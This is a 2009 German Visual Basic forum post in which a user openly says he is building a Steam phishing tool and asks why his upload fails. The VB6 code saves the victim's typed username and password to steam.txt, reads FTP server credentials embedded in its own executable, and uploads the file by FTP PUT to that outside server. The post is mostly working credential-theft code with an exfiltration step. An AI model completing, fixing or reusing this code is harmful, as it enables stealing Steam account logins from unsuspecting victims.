Phishing Upload Fehler Visual Basic Forum

Visual Basic Forum für VB6 und VB.NET Programmierer	Registrieren Login

Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Autor

Nachricht

the_gam3r_
Coder
Coder

Anmeldedatum: 09.02.2008
Beiträge: 89

Phishing Upload Fehler
Verfasst am: 01.05.2009, 19:33

Sers,
ich bin grade dabei ein steam phishing tool zu machen.
Aber dieser stu code funkt net

Code:

Private Sub Command2_Click()
Open "steam.txt" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close #1

Dim DATA_SPLIT() As String
Dim DATA_PARAMS() As String
Dim GRAB_DATA As String

Open App.Path + "\" + App.EXEName + ".exe" For Binary As #1

GRAB_DATA = String(LOF(1), vbNullChar)

Get #1, , GRAB_DATA

Close #1

DATA_SPLIT() = Split(GRAB_DATA, DATA_START)

DATA_PARAMS = Split(DATA_SPLIT(1), DATA_ARRAY)

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = DATA_PARAMS(0)
.UserName = DATA_PARAMS(1)
.Password = DATA_PARAMS(2)

a = "steam.txt"
b = "steam.txt"

.Execute , "PUT " & a & " " & b
End With

Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
End
End Sub

inet is auf der form
eine steam.txt wird erstelt aber net upped

	Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Tags: steam phishing, upload, fehler, password

	Aufrufe	Letzter Beitrag

[suche] Tuturials winsock & daten senden	983	09.06.2011, 13:19
[Video] .dll & .ocx Installer	2612	06.03.2008, 21:19
ListView speichern & laden	1331	05.08.2008, 13:32
Registry & Co Fragen	1203	03.05.2007, 10:57
Listbox speichern & laden	2271	22.03.2007, 21:25

[ Time: 0.0669s ][ Queries: 80 (0.0293s) ][ GZIP on - Debug on ]